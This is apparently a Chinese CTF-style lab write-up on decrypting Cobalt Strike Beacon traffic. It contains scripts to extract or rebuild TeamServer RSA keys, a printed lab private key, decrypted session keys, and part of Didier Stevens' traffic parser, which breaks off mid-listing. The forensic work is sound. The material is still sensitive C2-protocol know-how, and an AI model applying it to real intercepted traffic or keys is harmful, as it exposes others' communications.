基于玄机靶场CobaltStrike流量分析题目的学习笔记

  |  

emm…本来以为一个可以一把梭的流量分析,但是一路边查阅资料边踩坑下来,发现还提有意思的(除了有些题目还有些屮的)。很难得有这样边刷题边查询资料边学习边成长的感觉了,于是准备把有意思的CobaltStrike流量分析知识小记下并顺带写下wp。

CobaltStrike运行过程浅说

Cobalt Strike 分为 客户端服务端 ,服务端是一个,客户端可以有多个,可被团队进行分布式协作操作。

Cobalt StrikeBeacon 支持异步通信和交互式通信。Beacon 可以选择通过 DNS 还是 HTTP 协议出口网络,你甚至可以在使用Beacon 通讯过程中切换 HTTPDNS。其支持多主机连接,部署好 Beacon 后提交一个要连回的域名或主机的列表,Beacon 将通过这些主机轮询。其通信具体流程如下。

img

用文件来描述过程描述如下:

1、被控机先向 TeamServer 发送初始心跳包,包中包含了主机基础信息(如系统版本、权限等)和临时生成的会话协商密钥(即:stager Beacon文件),这些关键数据都使用 TeamServer 的 RSA 公钥进行加密,并以特定格式封装在 HTTP 请求的 Cookie 字段中传输。

2、TeamServer 在收到第一次心跳包后,会使用对应的 RSA 私钥解密数据包,获取主机信息和会话协商密钥,并基于该协商密钥(Raw key)派生生成两个新的密钥:用于数据加密的 AE 密钥(aeskey)和用于完整性校验的 HMAC密钥(hmac_key)。

3、被控端按照预设的休眠时间间隔(可配置)再次发送心跳包查询新命令。当存在待执行命令时,TeamServer 会使用会话 AES 密钥将命令加密后,作为 HTTP 响应包的 Body 返回。

4、被控端在接收到加密数据包后,使用会话 AES 密钥解密获取明文命令,执行后将结果数据重新加密,并通过 HTTPS POST 请求(通常使用特定接口如 /submit)回传给 TeamServer。

5、TeamServer 收到 POST 响应后,使用会话 AES 密钥解密数据,最终获取命令执行的明文回显结果。

6(不同情况)、当被控端在休眠间隔后发送心跳包查询,但 TeamServer 没有新命令需要下发时,TeamServer 会返回一个空响应包(通常为 HTTP 200 状态码 + 空 Body),用于维持连接状态和确认心跳。

注意到的是,在这过程中, Cobalt Strike 会默认使用 GET 方法发起请求,Beacon 会将元数据(例如AES密钥)使用 RSA 公钥加密后发送给 C2 服务器。这些元数据通常被编码为 Base64 字符串并作为 Cookie 发送。另外Beacon 的元数据传输过程中虽然使用的是 RSA 算法,但是 Beacon 任务的传输使用的却是 AES 算法加密的,而 AES 密钥则是 Beacon 随机生成的然后通过 RSA 交换 AES密钥。加解密算法为 AES ,密钥位长 128CBC 模式,填充标准 PKCS7

CobaltStrike 流量分析破解思路

因此总体而言,我们整个cs流量通讯过程中需要关注三种包和一个.cobaltstrike.beacon_keys文件:

1.stager Beacon 包:里面有完整的stager Beacon文件,通过解密文件我们可以得到server相关的细节信息。

2.任务下发包:即是响应不为空的心跳包。攻击者者下发命令到受害者的数据包,里面包含攻击者下发的命令信息。

3.结果回显包:受害者通过post回传结果包。

4..cobaltstrike.beacon_keys:TeamServer的RSA密钥对默认存储在~/.cobaltstrike.beacon_keys文件中,首次启动时自动生成。若未手动替换,所有Beacon通信均使用同一对密钥,这使得历史私钥泄露可能导致流量被解密。

我们要从这些包和文件里主要找:

1.RSA 私钥:通常是.cobaltstrike.beacon_keys 文件中获取。若未找到,则需要从stager Beacon 寻找里面有完整的stager Beacon文件,解密提取公钥。来提取其中的n和e,尝试分解n来获取pq来得到私钥

2.加密的元数据:通常位于 Beacon 首次心跳包的 CookieHeader 中。

3.raw key:通过RSA 私钥 解密加密的元数据来获取。

RSA 私钥获取

以本体而言题目我们可以通过漏洞攻击靶机在cs所在的目录(./opt/Cobalt_Strike_4.5/Cobalt_Strike_4.5/.cobaltstrike.beacon_keys)下读取出.cobaltstrike.beacon_keys 信息。再通过如下python脚本对.cobaltstrike.beacon_keys 文件进行提取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64
import javaobj.v2 as javaobj

with open(".cobaltstrike.beacon_keys", "rb") as fd:
pobj = javaobj.load(fd)

def format_key(key_data, key_type):
key_data = bytes(map(lambda x: x & 0xFF, key_data))
formatted_key = f"-----BEGIN {key_type} KEY-----\n"
formatted_key += base64.encodebytes(key_data).decode()
formatted_key += f"-----END {key_type} KEY-----"
return formatted_key

privateKey = format_key(pobj.array.value.privateKey.encoded.data, "PRIVATE")
publicKey = format_key(pobj.array.value.publicKey.encoded.data, "PUBLIC")

print(privateKey)
print(publicKey)
未获取.cobaltstrike.beacon_keys的情况(n可以分解)

在未获取.cobaltstrike.beacon_keys文件下,我们需要寻被控机先向 TeamServer 发送初始心跳包(stager Beacon ) 包提取出stager Beacon文件。用1788.py脚本(https://github.com/DidierStevens/DidierStevensSuite/blob/e28089a6d3f688cf9cd7b7bada9d95ab586e0541/1768.py)分解出公钥。在通过对公钥匙分析提取出n和e。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.PublicKey import RSA
import binascii

# 将你的16进制字符串放在这里
hex_key = "30819f300d06092a864886f70d010101050003818d003081890281810093b4127271907b80352c6a15b6bb1701bd01657a2fba3ca1fba56d9a13e9f1f3121ac3aa70248f8621217fddfc0a484e78ebf4e5b48bb4804eababe5366cf4886b6ce2a5a113edd851fc5b2fb62a925043354000bbae7f2f75d7b0b7097a17b7c7de195174d4b17cee1499ae1e52e3ce3eec3f70011d971d022c0a8723def11d0203010001"# 将十六进制字符串转换为字节
key_bytes = binascii.unhexlify(hex_key)
# 导入RSA公钥
rsa_key = RSA.import_key(key_bytes)
# 提取模数(n)和指数(e)
n = rsa_key.n
e = rsa_key.e
# 打印模数和指数
print(f"Modulus (n): {n}")
print(f"Exponent (e): {e}")

# 将RSA公钥导出为PEM格式
pem_key = rsa_key.publickey().export_key(format='PEM')
# 打印PEM格式公钥
print(pem_key.decode('utf-8'))

对n进行分解出pq后,再通过RSA脚本计算出私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric.utils import (
encode_dss_signature,
decode_dss_signature,
)
from cryptography.hazmat.backends import default_backend
import gmpy2
from sympy import nextprime, isprime
import random


def generate_rsa_keys_from_components(p, q, n, e, d):
"""
使用提供的 n, e, d 生成 RSA 密钥对
:param n: 模数 (int)
:param e: 公钥指数 (int)
:param d: 私钥指数 (int)
:return: 公钥和私钥对象
"""
# 创建 RSA 密钥对象
private_key = rsa.RSAPrivateNumbers(
p=p,
q=q,
d=d,
dmp1=d % (p - 1),
dmq1=d % (q - 1),
iqmp=rsa.rsa_crt_iqmp(p, q),
public_numbers=rsa.RSAPublicNumbers(e=e, n=n),
).private_key(backend=default_backend())

# 获取公钥
public_key = private_key.public_key()

return public_key, private_key


def save_keys_to_pem(public_key, private_key, public_path, private_path):
"""
将公钥和私钥保存为 PEM 格式的文件
:param public_key: 公钥对象
:param private_key: 私钥对象
:param public_path: 公钥文件路径
:param private_path: 私钥文件路径
"""
# 序列化公钥为 PEM 格式
public_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo,
)

# 序列化私钥为 PEM 格式
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
)

# 保存公钥到文件
with open(public_path, "wb") as f:
f.write(public_pem)

# 保存私钥到文件
with open(private_path, "wb") as f:
f.write(private_pem)


def main():
p =
q =
e =
n = p * q
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
print(d)
d = int(d)
# 生成密钥对
public_key, private_key = generate_rsa_keys_from_components(p, q, n, e, d)
# 保存密钥到文件
save_keys_to_pem(public_key, private_key, "publicKey.pem", "privateKey.pem")
print("公钥和私钥已成功生成并保存到文件中!")
if __name__ == "__main__":
main()

加密的元数据获取

通常位于 Beacon 首次心跳包的 CookieHeader 中。在本题目中,我们en_US/all.js心跳包中的Cookie的找到未加密的数据。

1
2
3
4
5
6
7
GET /en_US/all.js HTTP/1.1
Accept: */*
Cookie: IyltNSnpj6lSGi0WGIaJIsFWg6Ko6V+20xExzajz0A3AkRi2MMWjLSZvHltXLFJg5joFEKQ8lQYKh96XCYfDMO3yWWCzyZdpoCLdWRNzR8FN3Z3buww8afGOhKe+NVEWFzTPafNZh3kFlWUf5zk/etCn8WPy4qg4BArMvbx/yqM=
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP)
Host: 192.168.31.170
Connection: Keep-Alive
Cache-Control: no-cache

raw key获取

在我们获得私钥和加密的元数据后我们就可以用cs-decrypt-metadata.py -p 私钥的hex值 加密的元数据 来进行解密。cs-decrypt-metadata.py的下载链接(https://github.com/DidierStevens/DidierStevensSuite/blob/e28089a6d3f688cf9cd7b7bada9d95ab586e0541/cs-decrypt-metadata.py)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
python3 ./cs-decrypt-metadata.py -p 30820276020100300d06092a864886f70d0101010500048202603082025c0201000281810093b4127271907b80352c6a15b6bb1701bd01657a2fba3ca1fba56d9a13e9f1f3121ac3aa70248f8621217fddfc0a484e78ebf4e5b48bb4804eababe5366cf4886b6ce2a5a113edd851fc5b2fb62a925043354000bbae7f2f75d7b0b7097a17b7c7de195174d4b17cee1499ae1e52e3ce3eec3f70011d971d022c0a8723def11d020301000102818069fee4ea1a135c7d922b306a2abb32747de59da444d1faa72806fc9380ccf763bf4f53b1614eeb6c8f24123604a480654823d4986fab7e3a41bab2de07e3c2cb6ec3a6dec4a8e8a22820bbb020a3cfe307978bc11d78551e6fc69dc058170b65cfb3d434827bf5e3c5030cd55fe94a8e4bfcada77ade6c3302417509b2e39225024100fcc826f55f2e5c1e3aa352707dff894ae493fac51570250bf2b80743e41ec66ea08d81f7f68c572183764e27506cecc0b562cc0f1b7e0a9da09d2f472575da8f024100959574bea8438053188e895c2da2c44fe54530ea522fdbeaccc5279755535f8ad61a9c7f3cfe7decaf85031a2ce52990100b5f130e5c5e457c0acd6832a2ff9302400cf8ac5f1d024101e01a6f698c5da78aeb4dd8a9725f2dd77e1e0969677458d46672bc7f9fec35b0679193931ae26c07bb871557951e93a6e10e0fd603cb176b02401b0e537580dde4c222f8f5237525b1b879d1d00d321c71fcc05910d6309ac9f744cebf6bcc4e83dc61caff4aa6c0348a583c964fce132b020a73b1bf9d191a7d024100cd61443812aa2e77c8651e20e80b6e22e81270cebb9d4dcaa68e8ff63159b272eb32385ce91bf27ca5ab9d092978dc7c1866a04eb38a9535de5f1723952be9d2 IyltNSnpj6lSGi0WGIaJIsFWg6Ko6V+20xExzajz0A3AkRi2MMWjLSZvHltXLFJg5joFEKQ8lQYKh96XCYfDMO3yWWCzyZdpoCLdWRNzR8FN3Z3buww8afGOhKe+NVEWFzTPafNZh3kFlWUf5zk/etCn8WPy4qg4BArMvbx/yqM=
Encrypted metadata: IyltNSnpj6lSGi0WGIaJIsFWg6Ko6V+20xExzajz0A3AkRi2MMWjLSZvHltXLFJg5joFEKQ8lQYKh96XCYfDMO3yWWCzyZdpoCLdWRNzR8FN3Z3buww8afGOhKe+NVEWFzTPafNZh3kFlWUf5zk/etCn8WPy4qg4BArMvbx/yqM=
Decrypted:
Header: 0000beef
Datasize: 0000005d
Raw key: a4553adf7a841e1dcf708afc912275ee
aeskey: a368237121ef51b094068a2e92304d46
hmackey: b6315feb217bd87188d06870dd92855b
charset: 03a8 ANSI/OEM Simplified Chinese (PRC, Singapore); Chinese Simplified (GB2312)
charset_oem: 03a8 ANSI/OEM Simplified Chinese (PRC, Singapore); Chinese Simplified (GB2312)
bid: 5f96edca 1603726794
pid: 0acc 2764
port: 0
flags: 0e
var1: 6
var2: 2
var3: 9200
var4: 32760
var5: 265866928
var6: 265854304
var7: 2507253952
Field: b'WIN-8FC6TKPDPOR'
Field: b'Administrator'
Field: b'artifact.exe'

解密后我们就可以Raw key 值。

流量包解密

在我们获取Raw key 后,我们就可以利用cs-parse-traffic.py脚本来解密流量包,但是在网上流传的脚本都不是最新的不能自动话处理且对处理GBK编码的数据会报错,于是拿着Didier Stevens 小改一下,把非utf-8的数据base64化后输出。但是还是有问题遇到非cs流量不能完美跳过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
#!/usr/bin/env python

from __future__ import print_function

__description__ = 'Analyze Cobalt Strike HTTP/DNS beacon traffic'
__author__ = 'Didier Stevens'
__version__ = '0.0.5'
__date__ = '2022/02/15'

"""

Source code put in the public domain by Didier Stevens, no Copyright
https://DidierStevens.com
Use at your own risk

History:
2021/04/17: start
2021/04/18: continue
2021/04/19: added option -r
2021/04/20: added option -Y; continue
2021/04/22: continue
2021/04/23: continue
2021/04/24: continue
2021/10/07: updated missing modules logic
2021/10/17: 0.0.2 added option -i; -r unknown and -k unknown
2021/10/28: handle fake gzip
2021/10/30: continue instructions processing
2021/10/31: added request methods
2021/11/01: refactoring instructions processing
2021/11/05: refactoring instructions processing
2021/11/17: 0.0.3 refactoring crypto & parser
2021/11/20: added constants from https://github.com/verctor/Cobalt_Homework/blob/master/scripts/define.py
2021/11/26: merging HTTP and DNS
2021/12/12: 0.0.4 bugfix HMAC invalid; extra constants https://github.com/DidierStevens/Beta/issues/5
2022/02/15: 0.0.5 added error handling

Todo:
add support for non-default DNS labels
"""

import optparse
import glob
import collections
import time
import sys
import textwrap
import os
import binascii
import struct
import hashlib
import hmac
import base64
try:
import pyshark
except ImportError:
print('pyshark module required: pip install pyshark')
exit(-1)
try:
import Crypto.Cipher.AES
except ImportError:
print('Crypto.Cipher.AES module required: pip install pycryptodome')
exit(-1)

def PrintManual():
manual = '''
Manual:

This tool can decode (and decrypt if encrypted) Cobalt Strike network traffic.
For HTTP and DNS beacons. HTTPS works too provided the TLS traffic is decrypted.


# https://github.com/nccgroup/pybeacon

'''
for line in manual.split('\n'):
print(textwrap.fill(line))

class cOutput():
def __init__(self, filenameOption=None):
self.starttime = time.time()
self.filenameOption = filenameOption
self.separateFiles = False
self.progress = False
self.console = False
self.fOut = None
self.rootFilenames = {}
if self.filenameOption:
if self.ParseHash(self.filenameOption):
if not self.separateFiles and self.filename != '':
self.fOut = open(self.filename, 'w')
elif self.filenameOption != '':
self.fOut = open(self.filenameOption, 'w')
self.dReplacements = {}

def Replace(self, line):
for key, value in self.dReplacements.items():
line = line.replace(key, value)
return line

def ParseHash(self, option):
if option.startswith('#'):
position = self.filenameOption.find('#', 1)
if position > 1:
switches = self.filenameOption[1:position]
self.filename = self.filenameOption[position + 1:]
for switch in switches:
if switch == 's':
self.separateFiles = True
elif switch == 'p':
self.progress = True
elif switch == 'c':
self.console = True
elif switch == 'l':
pass
elif switch == 'g':
if self.filename != '':
extra = self.filename + '-'
else:
extra = ''
self.filename = '%s-%s%s.txt' % (os.path.splitext(os.path.basename(sys.argv[0]))[0], extra, self.FormatTime())
else:
return False
return True
return False

@staticmethod
def FormatTime(epoch=None):
if epoch == None:
epoch = time.time()
return '%04d%02d%02d-%02d%02d%02d' % time.localtime(epoch)[0:6]

def RootUnique(self, root):
if not root in self.rootFilenames:
self.rootFilenames[root] = None
return root
iter = 1
while True:
newroot = '%s_%04d' % (root, iter)
if not newroot in self.rootFilenames:
self.rootFilenames[newroot] = None
return newroot
iter += 1

def Line(self, line, eol='\n'):
line = self.Replace(line)
if self.fOut == None or self.console:
try:
print(line, end=eol)
except UnicodeEncodeError:
encoding = sys.stdout.encoding
print(line.encode(encoding, errors='backslashreplace').decode(encoding), end=eol)
# sys.stdout.flush()
if self.fOut != None:
self.fOut.write(line + '\n')
self.fOut.flush()

def LineTimestamped(self, line):
self.Line('%s: %s' % (self.FormatTime(), line))

def Filename(self, filename, index, total):
self.separateFilename = filename
if self.progress:
if index == 0:
eta = ''
else:
seconds = int(float((time.time() - self.starttime) / float(index)) * float(total - index))
eta = 'estimation %d seconds left, finished %s ' % (seconds, self.FormatTime(time.time() + seconds))
PrintError('%d/%d %s%s' % (index + 1, total, eta, self.separateFilename))
if self.separateFiles and self.filename != '':
oFilenameVariables = cVariables()
oFilenameVariables.SetVariable('f', self.separateFilename)
basename = os.path.basename(self.separateFilename)
oFilenameVariables.SetVariable('b', basename)
oFilenameVariables.SetVariable('d', os.path.dirname(self.separateFilename))
root, extension = os.path.splitext(basename)
oFilenameVariables.SetVariable('r', root)
oFilenameVariables.SetVariable('ru', self.RootUnique(root))
oFilenameVariables.SetVariable('e', extension)

self.Close()
self.fOut = open(oFilenameVariables.Instantiate(self.filename), 'w')

def Close(self):
if self.fOut != None:
self.fOut.close()
self.fOut = None

def InstantiateCOutput(options):
filenameOption = None
if options.output != '':
filenameOption = options.output
return cOutput(filenameOption)

class cCrypto(object):
CS_FIXED_IV = b'abcdefghijklmnop'

def __init__(self, rawkey='', hmacaeskeys=''):
self.rawkey = rawkey
self.hmacaeskeys = hmacaeskeys
if self.rawkey != '' and self.rawkey != 'unknown':
sha256digest = hashlib.sha256(binascii.a2b_hex(self.rawkey)).digest()
self.hmackey = sha256digest[16:]
self.aeskey = sha256digest[:16]
elif self.hmacaeskeys != '' and self.hmacaeskeys != 'unknown':
self.hmackey = binascii.a2b_hex(self.hmacaeskeys.split(':')[0])
self.aeskey = binascii.a2b_hex(self.hmacaeskeys.split(':')[1])
else:
self.hmackey = None
self.aeskey = None

def Decrypt(self, data):
if self.aeskey == None:
return data
encryptedData = data[:-16]
hmacSignatureMessage = data[-16:]
hmacsSgnatureCalculated = hmac.new(self.hmackey, encryptedData, hashlib.sha256).digest()[:16]
if hmacSignatureMessage != hmacsSgnatureCalculated:
raise Exception('HMAC signature invalid')
cypher = Crypto.Cipher.AES.new(self.aeskey, Crypto.Cipher.AES.MODE_CBC, __class__.CS_FIXED_IV)
decryptedData = cypher.decrypt(encryptedData)
return decryptedData

def Encrypt(self, data):
cypher = Crypto.Cipher.AES.new(self.aeskey, Crypto.Cipher.AES.MODE_CBC, __class__.CS_FIXED_IV)
encryptedData = cypher.encrypt(data)
hmacsSgnatureCalculated = hmac.new(self.hmackey, encryptedData, hashlib.sha256).digest()[:16]
return encryptedData + hmacsSgnatureCalculated

class cStruct(object):
def __init__(self, data):
self.data = data
self.originaldata = data

def Unpack(self, format):
formatsize = struct.calcsize(format)
if len(self.data) < formatsize:
raise Exception('Not enough data')
tounpack = self.data[:formatsize]
self.data = self.data[formatsize:]
result = struct.unpack(format, tounpack)
if len(result) == 1:
return result[0]
else:
return result

def Truncate(self, length):
self.data = self.data[:length]

def GetBytes(self, length=None):
if length == None:
length = len(self.data)
result = self.data[:length]
self.data = self.data[length:]
return result

def GetString(self, format):
stringLength = self.Unpack(format)
return self.GetBytes(stringLength)

def Length(self):
return len(self.data)

class cCSInstructions(object):
CS_INSTRUCTION_TYPE_INPUT = 'Input'
CS_INSTRUCTION_TYPE_OUTPUT = 'Output'
CS_INSTRUCTION_TYPE_METADATA = 'Metadata'
CS_INSTRUCTION_TYPE_SESSIONID = 'SessionId'

CS_INSTRUCTION_NONE = 0
CS_INSTRUCTION_APPEND = 1
CS_INSTRUCTION_PREPEND = 2
CS_INSTRUCTION_BASE64 = 3
CS_INSTRUCTION_PRINT = 4
CS_INSTRUCTION_PARAMETER = 5
CS_INSTRUCTION_HEADER = 6
CS_INSTRUCTION_BUILD = 7
CS_INSTRUCTION_NETBIOS = 8
CS_INSTRUCTION_CONST_PARAMETER = 9
CS_INSTRUCTION_CONST_HEADER = 10
CS_INSTRUCTION_NETBIOSU = 11
CS_INSTRUCTION_URI_APPEND = 12
CS_INSTRUCTION_BASE64URL = 13
CS_INSTRUCTION_STRREP = 14
CS_INSTRUCTION_MASK = 15
CS_INSTRUCTION_CONST_HOST_HEADER = 16

def __init__(self, instructionType, instructions):
self.instructionType = instructionType
self.instructions = instructions

@staticmethod
def StartsWithGetRemainder(strIn, strStart):
if strIn.startswith(strStart):
return True, strIn[len(strStart):]
else:
return False, None

@staticmethod
def BASE64URLDecode(data):
paddingLength = 4 - len(data) % 4
if paddingLength <= 2:
data += b'=' * paddingLength
return base64.b64decode(data, b'-_')

@staticmethod
def NETBIOSDecode(netbios):
dTranslate = {
ord(b'A'): ord(b'0'),
ord(b'B'): ord(b'1'),
ord(b'C'): ord(b'2'),
ord(b'D'): ord(b'3'),
ord(b'E'): ord(b'4'),
ord(b'F'): ord(b'5'),
ord(b'G'): ord(b'6'),
ord(b'H'): ord(b'7'),
ord(b'I'): ord(b'8'),
ord(b'J'): ord(b'9'),
ord(b'K'): ord(b'A'),
ord(b'L'): ord(b'B'),
ord(b'M'): ord(b'C'),
ord(b'N'): ord(b'D'),
ord(b'O'): ord(b'E'),
ord(b'P'): ord(b'F'),
}
return binascii.a2b_hex(bytes([dTranslate[char] for char in netbios]))

def GetInstructions(self):
for result in self.instructions.split(';'):
match, remainder = __class__.StartsWithGetRemainder(result, '7:%s,' % self.instructionType)
if match:
if self.instructionType in [__class__.CS_INSTRUCTION_TYPE_OUTPUT, __class__.CS_INSTRUCTION_TYPE_METADATA]:
return ','.join(remainder.split(',')[::-1])
else:
return remainder
return ''

def ProcessInstructions(self, rawdata):
instructions = self.GetInstructions()
if instructions == '':
instructions = []
else:
instructions = [instruction for instruction in instructions.split(',')]
data = rawdata
for instruction in instructions:
instruction = instruction.split(':')
opcode = int(instruction[0])
operands = instruction[1:]
if opcode == __class__.CS_INSTRUCTION_NONE:
pass
elif opcode == __class__.CS_INSTRUCTION_APPEND:
if self.instructionType == __class__.CS_INSTRUCTION_TYPE_METADATA:
data = data[:-len(operands[0])]
else:
data = data[:-int(operands[0])]
elif opcode == __class__.CS_INSTRUCTION_PREPEND:
if self.instructionType == __class__.CS_INSTRUCTION_TYPE_METADATA:
data = data[len(operands[0]):]
else:
data = data[int(operands[0]):]
elif opcode == __class__.CS_INSTRUCTION_BASE64:
data = binascii.a2b_base64(data)
elif opcode == __class__.CS_INSTRUCTION_PRINT:
pass
elif opcode == __class__.CS_INSTRUCTION_PARAMETER:
pass
elif opcode == __class__.CS_INSTRUCTION_HEADER:
pass
elif opcode == __class__.CS_INSTRUCTION_BUILD:
pass
elif opcode == __class__.CS_INSTRUCTION_NETBIOS:
data = __class__.NETBIOSDecode(data.upper())
elif opcode == __class__.CS_INSTRUCTION_CONST_PARAMETER:
pass
elif opcode == __class__.CS_INSTRUCTION_CONST_HEADER:
pass
elif opcode == __class__.CS_INSTRUCTION_NETBIOSU:
data = __class__.NETBIOSDecode(data)
elif opcode == __class__.CS_INSTRUCTION_URI_APPEND:
pass
elif opcode == __class__.CS_INSTRUCTION_BASE64URL:
data = __class__.BASE64URLDecode(data)
elif opcode == __class__.CS_INSTRUCTION_STRREP:
data = data.replace(operands[0], operands[1])
elif opcode == __class__.CS_INSTRUCTION_MASK:
xorkey = data[0:4]
ciphertext = data[4:]
data = []
for iter, value in enumerate(ciphertext):
data.append(value ^ xorkey[iter % 4])
data = bytes(data)
elif opcode == __class__.CS_INSTRUCTION_CONST_HOST_HEADER:
pass
else:
raise Exception('Unknown instruction opcode: %d' % opcode)
return data

class cCSParser(object):
BEACON_COMMAND_SLEEP = 4
BEACON_COMMAND_DATA_JITTER = 6
BEACON_COMMAND_RUN = 78

BEACON_COMMANDS = {
BEACON_COMMAND_SLEEP: 'SLEEP',
BEACON_COMMAND_DATA_JITTER: 'DATA_JITTER',
11: 'DOWNLOAD_START',
32: 'LIST_PROCESSES',

3: 'EXIT',
5: 'CD',
8: 'CHECKIN',
11: 'DOWNLOAD',
12: 'EXECUTE',
13: 'Tasked beacon to spawn features to default process',
27: 'GETUID',
28: 'REVERT_TOKEN',
33: 'KILL',
39: 'PWD',
41: 'JOBS',
48: 'IP_CONFIG',
53: 'LIST_FILES',
54: 'MKDIR',
55: 'DRIVES',
56: 'RM',
72: 'SETENV',
73: 'CP',
74: 'MV',
77: 'GETPRIVS',
BEACON_COMMAND_RUN: 'RUN',
80: 'DLLLOAD',
85: 'ARGUE',
95: 'GETSYSTEM',
}

BEACON_OUTPUT = {
1: 'OUTPUT_KEYSTROKES',
2: 'DOWNLOAD_START',
3: 'OUTPUT_SCREENSHOT',
4: 'SOCKS_DIE',
5: 'SOCKS_WRITE',
6: 'SOCKS_RESUME',
7: 'SOCKS_PORTFWD',
8: 'DOWNLOAD_WRITE',
9: 'DOWNLOAD_COMPLETE',
10: 'BEACON_LINK',
11: 'DEAD_PIPE',
12: 'BEACON_CHECKIN', # maybe?
13: 'BEACON_ERROR',
